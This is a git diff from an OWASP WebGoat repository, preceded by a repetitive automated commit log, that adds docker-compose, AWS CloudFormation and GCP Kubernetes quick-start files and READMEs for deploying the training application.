Fri May 23 00:03:08 UTC 2025: Commit 2 by Five
|
||||
Fri May 23 00:05:54 UTC 2025: Commit 3 by <author5@example.com>
|
||||
Fri May 23 12:00:19 UTC 2025: Commit 1 by Author
|
||||
Fri May 23 12:03:05 UTC 2025: Commit 2 by Ten
|
||||
Fri May 23 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
|
||||
Sat May 24 00:00:19 UTC 2025: Commit 1 by Author
|
||||
Sat May 24 00:03:06 UTC 2025: Commit 2 by Six
|
||||
Sat May 24 00:05:52 UTC 2025: Commit 3 by <author6@example.com>
|
||||
Sat May 24 12:00:18 UTC 2025: Commit 1 by Author
|
||||
Sat May 24 12:03:04 UTC 2025: Commit 2 by Two
|
||||
Sat May 24 12:05:51 UTC 2025: Commit 3 by <author2@example.com>
|
||||
Sun May 25 00:00:18 UTC 2025: Commit 1 by Author
|
||||
Sun May 25 00:03:05 UTC 2025: Commit 2 by Four
|
||||
Sun May 25 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
|
||||
Sun May 25 12:00:18 UTC 2025: Commit 1 by Author
|
||||
Sun May 25 12:03:05 UTC 2025: Commit 2 by Two
|
||||
Sun May 25 12:05:52 UTC 2025: Commit 3 by <author2@example.com>
|
||||
Mon May 26 00:00:18 UTC 2025: Commit 1 by Author
|
||||
Mon May 26 00:03:05 UTC 2025: Commit 2 by Seven
|
||||
Mon May 26 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
|
||||
Mon May 26 12:00:18 UTC 2025: Commit 1 by DWSAuthor
|
||||
Mon May 26 12:03:05 UTC 2025: Commit 2 by Ten
|
||||
Mon May 26 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
|
||||
Tue May 27 00:00:19 UTC 2025: Commit 1 by DWSAuthor
|
||||
Tue May 27 00:03:05 UTC 2025: Commit 2 by Ten
|
||||
Tue May 27 00:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
|
||||
Tue May 27 12:00:18 UTC 2025: Commit 1 by Author
|
||||
Tue May 27 12:03:05 UTC 2025: Commit 2 by Ten
|
||||
Tue May 27 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
|
||||
Wed May 28 00:00:29 UTC 2025: Commit 1 by DWSAuthor
|
||||
Wed May 28 00:03:18 UTC 2025: Commit 2 by Two
|
||||
Wed May 28 00:06:07 UTC 2025: Commit 3 by <dwsauthor2@example.com>
|
||||
Wed May 28 12:00:19 UTC 2025: Commit 1 by DWSAuthor
|
||||
Wed May 28 12:03:06 UTC 2025: Commit 2 by Five
|
||||
Wed May 28 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
|
||||
Thu May 29 00:00:18 UTC 2025: Commit 1 by Author
|
||||
Thu May 29 00:03:05 UTC 2025: Commit 2 by Nine
|
||||
Thu May 29 00:05:52 UTC 2025: Commit 3 by <author9@example.com>
|
||||
Thu May 29 12:00:19 UTC 2025: Commit 1 by Author
|
||||
Thu May 29 12:03:06 UTC 2025: Commit 2 by Nine
|
||||
Thu May 29 12:05:53 UTC 2025: Commit 3 by <author9@example.com>
|
||||
Fri May 30 00:00:18 UTC 2025: Commit 1 by Author
|
||||
Fri May 30 00:03:05 UTC 2025: Commit 2 by One
|
||||
Fri May 30 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
|
||||
Fri May 30 12:00:19 UTC 2025: Commit 1 by Author
|
||||
Fri May 30 12:03:06 UTC 2025: Commit 2 by Three
|
||||
Fri May 30 12:06:08 UTC 2025: Commit 3 by <author3@example.com>
|
||||
Sat May 31 00:00:18 UTC 2025: Commit 1 by Author
|
||||
Sat May 31 00:03:04 UTC 2025: Commit 2 by Four
|
||||
Sat May 31 00:05:51 UTC 2025: Commit 3 by <author4@example.com>
|
||||
Sat May 31 12:00:19 UTC 2025: Commit 1 by DWSAuthor
|
||||
Sat May 31 12:03:05 UTC 2025: Commit 2 by Ten
|
||||
Sat May 31 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
|
||||
Sun Jun 1 00:00:18 UTC 2025: Commit 1 by Author
|
||||
Sun Jun 1 00:03:05 UTC 2025: Commit 2 by One
|
||||
Sun Jun 1 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
|
||||
Sun Jun 1 12:00:19 UTC 2025: Commit 1 by Author
|
||||
Sun Jun 1 12:03:06 UTC 2025: Commit 2 by One
|
||||
Sun Jun 1 12:05:52 UTC 2025: Commit 3 by <author1@example.com>
|
||||
Mon Jun 2 00:00:19 UTC 2025: Commit 1 by Author
|
||||
Mon Jun 2 00:03:06 UTC 2025: Commit 2 by Ten
|
||||
Mon Jun 2 00:05:52 UTC 2025: Commit 3 by <author10@example.com>
|
||||
Mon Jun 2 12:00:20 UTC 2025: Commit 1 by DWSAuthor
|
||||
Mon Jun 2 12:03:07 UTC 2025: Commit 2 by Seven
|
||||
Mon Jun 2 12:05:54 UTC 2025: Commit 3 by <adwsuthor7@example.com>
|
||||
Tue Jun 3 00:00:19 UTC 2025: Commit 1 by Author
|
||||
Tue Jun 3 00:03:06 UTC 2025: Commit 2 by Four
|
||||
Tue Jun 3 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
|
||||
Tue Jun 3 12:00:18 UTC 2025: Commit 1 by DWSAuthor
|
||||
Tue Jun 3 12:03:05 UTC 2025: Commit 2 by Five
|
||||
Tue Jun 3 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
|
||||
Wed Jun 4 00:00:20 UTC 2025: Commit 1 by DWSAuthor
|
||||
Wed Jun 4 00:03:06 UTC 2025: Commit 2 by Ten
|
||||
Wed Jun 4 00:05:53 UTC 2025: Commit 3 by <autdwshor10@example.com>
|
||||
Wed Jun 4 12:00:18 UTC 2025: Commit 1 by DWSAuthor
|
||||
Wed Jun 4 12:03:05 UTC 2025: Commit 2 by Six
|
||||
Wed Jun 4 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
|
||||
Thu Jun 5 00:00:20 UTC 2025: Commit 1 by DWSAuthor
|
||||
Thu Jun 5 00:03:07 UTC 2025: Commit 2 by Six
|
||||
Thu Jun 5 00:05:54 UTC 2025: Commit 3 by <autdwshor6@example.com>
|
||||
Thu Jun 5 12:00:22 UTC 2025: Commit 1 by DWSAuthor
|
||||
Thu Jun 5 12:03:09 UTC 2025: Commit 2 by Four
|
||||
Thu Jun 5 12:05:55 UTC 2025: Commit 3 by <autdwshor4@example.com>
|
||||
Fri Jun 6 00:00:18 UTC 2025: Commit 1 by Author
|
||||
Fri Jun 6 00:03:05 UTC 2025: Commit 2 by Seven
|
||||
Fri Jun 6 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
|
||||
Fri Jun 6 12:00:19 UTC 2025: Commit 1 by DWSAuthor
|
||||
Fri Jun 6 12:03:06 UTC 2025: Commit 2 by Five
|
||||
Fri Jun 6 12:05:53 UTC 2025: Commit 3 by <autdwshor5@example.com>
|
||||
Sat Jun 7 00:00:19 UTC 2025: Commit 1 by Author
|
||||
Sat Jun 7 00:03:06 UTC 2025: Commit 2 by Two
|
||||
Sat Jun 7 00:05:53 UTC 2025: Commit 3 by <author2@example.com>
|
||||
Sat Jun 7 12:00:19 UTC 2025: Commit 1 by Author
|
||||
Sat Jun 7 12:03:06 UTC 2025: Commit 2 by Four
|
||||
Sat Jun 7 12:05:53 UTC 2025: Commit 3 by <author4@example.com>
|
43
goat-with-reverseproxy.yaml
Normal file
43
goat-with-reverseproxy.yaml
Normal file
@ -0,0 +1,43 @@
|
||||
version: '3'
|
||||
networks:
|
||||
webwolflocal:
|
||||
services:
|
||||
webgoat:
|
||||
hostname: www.webgoat.local
|
||||
image: webgoat/webgoat-8.0
|
||||
environment:
|
||||
- WEBGOAT_PORT=8080
|
||||
- WEBGOAT_SSLENABLED=false
|
||||
- WEBWOLF_HOST=webwolf
|
||||
- WEBWOLF_PORT=9090
|
||||
- TZ=Europe/Amsterdam
|
||||
volumes:
|
||||
- .:/home/webgoat/.webgoat
|
||||
working_dir: /home/webgoat
|
||||
command: --server.address=0.0.0.0
|
||||
networks:
|
||||
webwolflocal:
|
||||
aliases:
|
||||
- goat.webgoat.local
|
||||
webwolf:
|
||||
image: webgoat/webwolf
|
||||
environment:
|
||||
- WEBWOLF_HOST=webwolf
|
||||
- WEBWOLF_PORT=9090
|
||||
- TZ=Europe/Amsterdam
|
||||
command: --spring.datasource.url=jdbc:hsqldb:hsql://webgoat:9001/webgoat --server.address=0.0.0.0
|
||||
networks:
|
||||
webwolflocal:
|
||||
aliases:
|
||||
- wolf.webwolf.local
|
||||
depends_on:
|
||||
- webgoat
|
||||
reverseproxy:
|
||||
hostname: www.webwolf.local
|
||||
image: webgoat/reverseproxy
|
||||
networks:
|
||||
webwolflocal:
|
||||
aliases:
|
||||
- www.webwolf.local
|
||||
ports:
|
||||
- 80:80
|
@ -1,2 +1,2 @@
|
||||
export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
|
||||
./mvnw $@
|
||||
mvn $@
|
||||
|
2
mvnw
vendored
2
mvnw
vendored
@ -246,7 +246,7 @@ else
|
||||
else
|
||||
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
|
||||
fi
|
||||
|
||||
|
||||
else
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Falling back to using Java to download"
|
||||
|
31
platformQuickStarts/AWS/README.md
Normal file
31
platformQuickStarts/AWS/README.md
Normal file
@ -0,0 +1,31 @@
|
||||
# AWS
|
||||
|
||||
- This contains the various platform Quick Starts for Getting WebGoat Deployed into AWS.
|
||||
- This IaaS quickstart uses AWS CloudFormation to perform most of the provisioning
|
||||
- This IaaS quickstart is composed of three independent bundles
|
||||
- Code pipeline and Build
|
||||
- Deploying to EC2
|
||||
- Deploying to ECS
|
||||
|
||||
|
||||
It is Assumed:
|
||||
- You have an AWS Account
|
||||
- You know what an S3 bucket is
|
||||
- You have seen the IAM console and have permissions to create IAM Roles
|
||||
|
||||
|
||||
|
||||
|
||||
## Code Pipeline and Build
|
||||
|
||||
This Quickstart is for those that just want to perform builds with AWS. It Triggers off of Github to perform builds of `webgoat-server`
|
||||
|
||||
|
||||
|
||||
## EC2
|
||||
|
||||
(WIP) This uses AWS CodePipeline, CodeBuild, and CodeDeploy to land WebGoat to Running EC2 instances
|
||||
|
||||
## ECS
|
||||
|
||||
(WIP) This uses AWS CodePipeline, CodeBuild, ECR, to land a container onto an ECS cluster
|
101
platformQuickStarts/AWS/codepipelinebuild/01_IAM_codebuild.json
Normal file
101
platformQuickStarts/AWS/codepipelinebuild/01_IAM_codebuild.json
Normal file
@ -0,0 +1,101 @@
|
||||
{
|
||||
"AWSTemplateFormatVersion": "2010-09-09",
|
||||
"Description": "IAM Roles for Code Build WebGoat IaaS Quickstart",
|
||||
"Parameters": {
|
||||
"qsS3BucketName": {
|
||||
"Description": "Name of the S3 Bucket for artifacts",
|
||||
"Type": "String",
|
||||
"MinLength": "1"
|
||||
},
|
||||
"qsRoleName": {
|
||||
"Description": "Name of the IAM role that CodeBuild Will Use",
|
||||
"Type": "String",
|
||||
"Default": "SimpleCodeBuildRole",
|
||||
"MinLength": "1"
|
||||
}
|
||||
},
|
||||
"Resources": {
|
||||
"qsCodeBuildRole": {
|
||||
"Type": "AWS::IAM::Role",
|
||||
"Properties": {
|
||||
"AssumeRolePolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": [
|
||||
"codebuild.amazonaws.com"
|
||||
]
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
"Path": "/webgoat/",
|
||||
"RoleName": {
|
||||
"Ref": "qsRoleName"
|
||||
},
|
||||
"ManagedPolicyArns": [
|
||||
"arn:aws:iam::aws:policy/AWSCodeCommitFullAccess",
|
||||
"arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess",
|
||||
"arn:aws:iam::aws:policy/AWSCodeDeployDeployerAccess"
|
||||
],
|
||||
"Policies": [
|
||||
{
|
||||
"PolicyName": "CloudWatchLogs",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Resource": [
|
||||
{"Fn::Join": [ "",["arn:aws:logs:*:", { "Ref": "AWS::AccountId" }, ":log-group:/aws/codebuild*" ] ]}
|
||||
],
|
||||
"Action": [
|
||||
"logs:CreateLogGroup",
|
||||
"logs:CreateLogStream",
|
||||
"logs:PutLogEvents"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
{
|
||||
"PolicyName": "S3buckets",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Resource": [
|
||||
{
|
||||
"Fn::Join": [
|
||||
"",
|
||||
[
|
||||
"arn:aws:s3:::",
|
||||
{
|
||||
"Ref": "qsS3BucketName"
|
||||
},
|
||||
"*"
|
||||
]
|
||||
]
|
||||
},
|
||||
"arn:aws:s3:::codepipeline-*"
|
||||
],
|
||||
"Action": [
|
||||
"s3:Put*",
|
||||
"s3:Get*",
|
||||
"s3:List*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,127 @@
|
||||
{
|
||||
"AWSTemplateFormatVersion": "2010-09-09",
|
||||
"Description": "IAM Role for Code Pipeline WebGoat IaaS Quickstart",
|
||||
"Parameters": {
|
||||
"qsS3BucketName": {
|
||||
"Description": "Name of the S3 Bucket for artifacts",
|
||||
"Type": "String",
|
||||
"MinLength": "1"
|
||||
},
|
||||
"qsRoleName": {
|
||||
"Description": "Name of the IAM role that CodePipeline Will Use",
|
||||
"Type": "String",
|
||||
"Default": "SimpleCodePipelineRole",
|
||||
"MinLength": "1"
|
||||
}
|
||||
},
|
||||
"Resources": {
|
||||
"qsCodePipelineRole": {
|
||||
"Type": "AWS::IAM::Role",
|
||||
"Properties": {
|
||||
"AssumeRolePolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "codepipeline.amazonaws.com"
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
},
|
||||
"Path": "/webgoat/",
|
||||
"RoleName": {
|
||||
"Ref": "qsRoleName"
|
||||
},
|
||||
"ManagedPolicyArns": [
|
||||
"arn:aws:iam::aws:policy/AWSCodeCommitFullAccess",
|
||||
"arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess",
|
||||
"arn:aws:iam::aws:policy/AWSCodeDeployDeployerAccess"
|
||||
],
|
||||
"Policies": [
|
||||
{
|
||||
"PolicyName": "CloudWatchLogsPipeline",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Resource": [
|
||||
{"Fn::Join": [ "",["arn:aws:logs:*:", { "Ref": "AWS::AccountId" }, ":log-group:/aws/*" ] ]}
|
||||
],
|
||||
"Action": [
|
||||
"logs:CreateLogGroup",
|
||||
"logs:CreateLogStream",
|
||||
"logs:PutLogEvents"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
{
|
||||
"PolicyName": "MiscComputeOpen",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Resource": "*",
|
||||
"Action": [
|
||||
"lambda:InvokeFunction",
|
||||
"lambda:ListFunctions",
|
||||
"elasticbeanstalk:*",
|
||||
"ec2:*",
|
||||
"elasticloadbalancing:*",
|
||||
"autoscaling:*",
|
||||
"cloudwatch:*",
|
||||
"s3:*",
|
||||
"sns:*",
|
||||
"cloudformation:*",
|
||||
"rds:*",
|
||||
"sqs:*",
|
||||
"ecs:*",
|
||||
"iam:PassRole"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
{
|
||||
"PolicyName": "S3buckets",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Resource": [
|
||||
{
|
||||
"Fn::Join": [
|
||||
"",
|
||||
[
|
||||
"arn:aws:s3:::",
|
||||
{
|
||||
"Ref": "qsS3BucketName"
|
||||
},
|
||||
"*"
|
||||
]
|
||||
]
|
||||
},
|
||||
"arn:aws:s3:::codepipeline-*",
|
||||
"arn:aws:s3:::elasticbeanstalk*"
|
||||
],
|
||||
"Action": [
|
||||
"s3:Put*",
|
||||
"s3:Get*",
|
||||
"s3:List*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,123 @@
|
||||
AWSTemplateFormatVersion: "2010-09-09"
|
||||
|
||||
Description: >
|
||||
AWS Cloud Formation for creating an AWS CodePipeline that checks a git repo for changes and then performs a build using code build
|
||||
|
||||
|
||||
Parameters:
|
||||
qsPipelineName:
|
||||
Description: The name of the AWS Code Pipeline
|
||||
Type: String
|
||||
Default: WG-pipeline
|
||||
MinLength: 1
|
||||
qsPipelineRoleARN:
|
||||
Description: The complete ARN to the IAM role that code pipeline should use
|
||||
Type: String
|
||||
MinLength: 1
|
||||
qsCodeRepo:
|
||||
Description: The Repository
|
||||
Type: String
|
||||
MinLength: 1
|
||||
qsRepoBranch:
|
||||
Description: The Branch in the Repository
|
||||
Type: String
|
||||
MinLength: 1
|
||||
qsGitHubUser:
|
||||
Description: The GitHub User Id
|
||||
Type: String
|
||||
MinLength: 1
|
||||
qsGitHubAPIToken:
|
||||
Description: The GitHub Personal Access token do not use password
|
||||
NoEcho: true
|
||||
Type: String
|
||||
MinLength: 1
|
||||
qsS3PipelineArtifacts:
|
||||
Description: Where Code Pipeline will state artifacts in S3
|
||||
Type: String
|
||||
MinLength: 1
|
||||
qsS3CodeBuildArtifacts:
|
||||
Description: Where Code Build will upload Artifacts can be same as codepipeline
|
||||
Type: String
|
||||
MinLength: 1
|
||||
qsCodeBuildName:
|
||||
Description: Name of the AWS Code Build
|
||||
Type: String
|
||||
Default: WG-mvnBuilder
|
||||
MinLength: 1
|
||||
qsKMSKeyARN:
|
||||
Description: The KMS ARN that the IAM Role is allowed to use
|
||||
Type: String
|
||||
MinLength: 1
|
||||
qsCodeRoleArn:
|
||||
Description: The IAM Role ARN for CodePipeline and CodeDeploy
|
||||
Type: String
|
||||
MinLength: 1
|
||||
|
||||
|
||||
|
||||
Resources:
|
||||
|
||||
|
||||
|
||||
|
||||
stkcbrCodeBuild:
|
||||
Type: AWS::CodeBuild::Project
|
||||
Properties:
|
||||
Artifacts:
|
||||
Type: CODEPIPELINE
|
||||
Description: Builds WebGoat Jar using build file in repo
|
||||
EncryptionKey: !Ref 'qsKMSKeyARN'
|
||||
Environment:
|
||||
ComputeType: BUILD_GENERAL1_SMALL
|
||||
Image: aws/codebuild/java:openjdk-8
|
||||
Type: LINUX_CONTAINER
|
||||
Name: !Ref 'qsCodeBuildName'
|
||||
ServiceRole: !Ref 'qsCodeRoleArn'
|
||||
TimeoutInMinutes: 10
|
||||
Source:
|
||||
Type: CODEPIPELINE
|
||||
|
||||
|
||||
|
||||
stkcplPipeline:
|
||||
Type: AWS::CodePipeline::Pipeline
|
||||
Properties:
|
||||
Name: !Ref 'qsPipelineName'
|
||||
RoleArn: !Ref 'qsPipelineRoleARN'
|
||||
ArtifactStore:
|
||||
Location: !Ref 'qsS3PipelineArtifacts'
|
||||
Type: S3
|
||||
Stages:
|
||||
- Name: CodeRepo
|
||||
Actions:
|
||||
- Name: CodeSource
|
||||
ActionTypeId:
|
||||
Category: Source
|
||||
Owner: ThirdParty
|
||||
Provider: GitHub
|
||||
Version: 1
|
||||
Configuration:
|
||||
Branch: !Ref 'qsRepoBranch'
|
||||
Repo: !Ref 'qsCodeRepo'
|
||||
Owner: !Ref 'qsGitHubUser'
|
||||
OAuthToken: !Ref 'qsGitHubAPIToken'
|
||||
OutputArtifacts:
|
||||
- Name: MySource
|
||||
RunOrder: '1'
|
||||
- Name: Build
|
||||
Actions:
|
||||
- Name: CodeBuild
|
||||
ActionTypeId:
|
||||
Category: Build
|
||||
Owner: AWS
|
||||
Provider: CodeBuild
|
||||
Version: 1
|
||||
InputArtifacts:
|
||||
- Name: MySource
|
||||
Configuration:
|
||||
ProjectName: !Ref stkcbrCodeBuild
|
||||
OutputArtifacts:
|
||||
- Name: MyBuild
|
||||
RunOrder: '2'
|
||||
|
||||
|
64
platformQuickStarts/AWS/codepipelinebuild/README.md
Normal file
64
platformQuickStarts/AWS/codepipelinebuild/README.md
Normal file
@ -0,0 +1,64 @@
|
||||
# Serverless MVN builds Featuring AWS
|
||||
|
||||
This Quick Start forms the basis for the other AWS quickstarts. This only BUILDS the `webgoat-server` spring boot jar. If you want to also run it on AWS skip to the other AWS quickstarts
|
||||
|
||||
Before you Begin
|
||||
1. Do you have an AWS Account?
|
||||
2. Can you create an S3 Bucket?
|
||||
3. Can you create a KMS Key?
|
||||
4. Do you know what Cloud Formation is?
|
||||
5. Do you have enough permissions to do any real work in said AWS Account?
|
||||
|
||||
If you said no to any of those...hop over to [docs](https://aws.amazon.com/documentation/) and learn (but don't do) how to create those.
|
||||
|
||||
|
||||
You will also need:
|
||||
1. A GitHub Account
|
||||
2. Fork of WebGoat
|
||||
3. Personal access Token with `Admin:repo_hook` and `repo`
|
||||
|
||||
|
||||
|
||||
## Create Pre-requisites
|
||||
|
||||
First pick an AWS region and stick with it for ALL the quickstarts. This one was mostly executed on US-east-1/2 but any region with KMS, CodePipeline, and CodeBuild will work. eu-Central-1, ap-southeast-1 and sa-east-1 have reported success also.
|
||||
|
||||
|
||||
1. Create an S3 bucket and call it something meaningfull like `webgoat-stash-username` or something or use an existing bucket you have access to.
|
||||
2. Create a KMS Key. Make sure you are a key administrator so you can add key users later.
|
||||
|
||||
## Deploy IAM role Cloud Formation Stacks
|
||||
|
||||
In this folder there are two json cloudformation templates:
|
||||
-`01_IAM_codebuild.json`
|
||||
-`01_IAM_codepipeline.json`
|
||||
|
||||
You will use the CloudFormation templates to create two roles. One for CodePipeline and the Other for CodeBuild. You will use the name of the bucket you just created as a parameter.
|
||||
|
||||
## Update KMS Key
|
||||
|
||||
Access the KMS key you created earlier...add the two IAM roles you just created and Key Users
|
||||
|
||||
## Finally the Pipeline
|
||||
|
||||
You will use the yaml cloudformation template `01_codepiplinebuild.yml` to create the code building pipeline.
|
||||
|
||||
Some of the parameters you will need to pass:
|
||||
1. The S3 bucket (twice)
|
||||
2. The Github Branch name (master? develop? yourbranchname?)
|
||||
3. The Github user (if you forked it would be your username)
|
||||
4. You personal access token for GitHub
|
||||
5. The name or the repo (WebGoat! ...unless you renamed and did a whole bunch of fancy git magic)
|
||||
6. The ARN of the KMS key
|
||||
7. The ARN of the role for the codebuild for parameter qsCodeRoleArn
|
||||
8. The ARN for codepipeline
|
||||
|
||||
If this Stack successfully deploys a build will begin based on the latest commit automatically. You will have a funky named zip file (without the .zip ending) in a folder in the S3 bucket in a few minutes.
|
||||
|
||||
|
||||
|
||||
Congratulations. You just Deployed a two step AWS Codepipeline that looks for codechanges and then performs a build.
|
||||
|
||||
... ON to the next AWS Quickstart
|
||||
|
||||
|
80
platformQuickStarts/GCP/GKE-Docker/README.md
Normal file
80
platformQuickStarts/GCP/GKE-Docker/README.md
Normal file
@ -0,0 +1,80 @@
|
||||
# GKE - DockerHub
|
||||
|
||||
This Quickstart shows how to create a Kubernettes Cluster using Google Cloud Platform's [GKE](https://cloud.google.com/container-engine/) and WebGoat's Docker [Image](https://hub.docker.com/r/webgoat/webgoat-8.0/).
|
||||
|
||||
To be Successfull with this Quickstart
|
||||
|
||||
1. You have a Google Cloud Platform account and have enough access rights to create Compute Engine and Container Engine Resources
|
||||
2. You know how to `git clone`
|
||||
3. You have the gcloud SDK install and initialized somewhere ( do not use the google cloud shell)
|
||||
|
||||
|
||||
Remeber to perform a 'gcloud auth login' before using the gcloud commands below.
|
||||
|
||||
|
||||
|
||||
## Create Kubernettes Cluster
|
||||
|
||||
You can create a cluster using the Google Cloud Console. The Default settings will suffice. For this QuickStart the cluster name used is `owaspbasiccluster`. The `PROJECTNAME` is whatever your project is. The `REGION` is a region/zone near you.
|
||||
|
||||
If you want to use the gcloud sdk from a properly initialized gcloud commandline environment use the following command
|
||||
|
||||
|
||||
```
|
||||
gcloud container --project "PROJECTNAME" clusters create "owaspbasiccluster" --zone "REGION" --machine-type "n1-standard-1" --image-type "COS" --disk-size "100" --scopes "https://www.googleapis.com/auth/compute","https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/cloud-platform","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append","https://www.googleapis.com/auth/source.read_only" --num-nodes "3" --network "default" --enable-cloud-logging --no-enable-cloud-monitoring
|
||||
|
||||
|
||||
```
|
||||
|
||||
The command creates a similar cluster with more of the options set explicitly.
|
||||
|
||||
## Set up Kubectl
|
||||
|
||||
Using the commandline gcloud SDK environment you need to set-up 'kubectl'
|
||||
|
||||
If you have not already installed 'Kubectl' you can do so with the following command using `gcloud`
|
||||
- `gcloud components install kubectl`
|
||||
|
||||
Then you just run:
|
||||
- `gcloud container clusters get-credentials owaspbasiccluster --zone REGION --project PROJECTNAME`
|
||||
|
||||
|
||||
## Deploy WebGoat Deployment
|
||||
|
||||
Time to deploy the latest DockerImage for WebGoat!
|
||||
|
||||
|
||||
Let's First Make a namespace for this:
|
||||
- `kubectl create namespace webgoat`
|
||||
|
||||
Now it is time to make the magic happen!
|
||||
|
||||
- `kubectl create -f /where_you_git_cloned_webgoat/platformQuickStart/GCP/GKE-Docker/webgoat_noDNSnoTLS.yml`
|
||||
|
||||
This should complete with no errors.
|
||||
|
||||
Use the following command to see information/status about the deployment
|
||||
- `kubectl describe deployment webgoat-dpl --namespace=webgoat`
|
||||
|
||||
After a few minutes the service endpoint should be ready. You can check the status with
|
||||
- `kubectl describe service webgoatsvc --namespace=webgoat`
|
||||
|
||||
In the output you should see a message like "Created load..." after a "Creating load..." which means that the public facing loadbalancer (even thou there is just one container running!) is ready.
|
||||
|
||||
|
||||
If you want to see the Kubernetes dashboard you can run `kubectl proxy` (in a new terminal window) and then navigate to http://localhost:8001/ui .
|
||||
|
||||
|
||||
|
||||
## Test Deployment
|
||||
|
||||
From the previous `describe service` command the `LoadBalancer Ingress:` line should have the external IP. The line below should give the port.
|
||||
|
||||
So.....
|
||||
|
||||
[IP]:[PORT]/WebGoat in your browser!
|
||||
|
||||
DONE
|
||||
|
||||
|
||||
|
4
platformQuickStarts/GCP/GKE-Docker/deploy.cfg
Normal file
4
platformQuickStarts/GCP/GKE-Docker/deploy.cfg
Normal file
@ -0,0 +1,4 @@
|
||||
CURTAG=webgoat/webgoat-8.0
|
||||
DEST_TAG=gcr.io/astech-training/raging-wire-webgoat
|
||||
CLUSTER_NAME=raging-wire-webgoat
|
||||
PORT_NUM=8080
|
4
platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh
Normal file
4
platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh
Normal file
@ -0,0 +1,4 @@
|
||||
CURTAG=webgoat/webgoat-8.0
|
||||
DEST_TAG=gcr.io/your-gke-project/your-webgoat-tag
|
||||
CLUSTER_NAME=your-cluster-name
|
||||
PORT_NUM=8080
|
@ -0,0 +1,39 @@
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
labels:
|
||||
app: webgoatapp
|
||||
name: webgoatsvc
|
||||
namespace: webgoat
|
||||
spec:
|
||||
ports:
|
||||
-
|
||||
port: 8080
|
||||
protocol: TCP
|
||||
selector:
|
||||
app: webgoatapp
|
||||
type: LoadBalancer
|
||||
---
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: webgoat-dpl
|
||||
namespace: webgoat
|
||||
spec:
|
||||
replicas: 1
|
||||
template:
|
||||
metadata:
|
||||
name: webgoatapp
|
||||
labels:
|
||||
app: webgoatapp
|
||||
spec:
|
||||
containers:
|
||||
-
|
||||
image: webgoat/webgoat-8.0
|
||||
name: webgoat
|
||||
ports:
|
||||
-
|
||||
containerPort: 8080
|
||||
|
||||
|
17
platformQuickStarts/GCP/README.md
Normal file
17
platformQuickStarts/GCP/README.md
Normal file
@ -0,0 +1,17 @@
|
||||
# WebGoat on GCP!
|
||||
|
||||
This folder contains sub folders for the various ways you could deploy WebGoat on Google Cloud Platform
|
||||
|
||||
It is assumed:
|
||||
1. You have a Google Cloud Platform Account
|
||||
2. You can use Git
|
||||
3. You can use a Linux/Mac/Google Cloud Shell
|
||||
|
||||
|
||||
## GKE Docker
|
||||
|
||||
Uses GKE to run the latest DockerHub version of WebGoat8
|
||||
|
||||
## AppEngine
|
||||
|
||||
WIP
|
22
platformQuickStarts/README.md
Normal file
22
platformQuickStarts/README.md
Normal file
@ -0,0 +1,22 @@
|
||||
# OWASP WebGoat Platform Quick Starts
|
||||
|
||||
Want to Run WebGoat? Want to run WebGoat in the Cloud? Don't want to be cloud Expert?
|
||||
|
||||
Do we have a solution for you!
|
||||
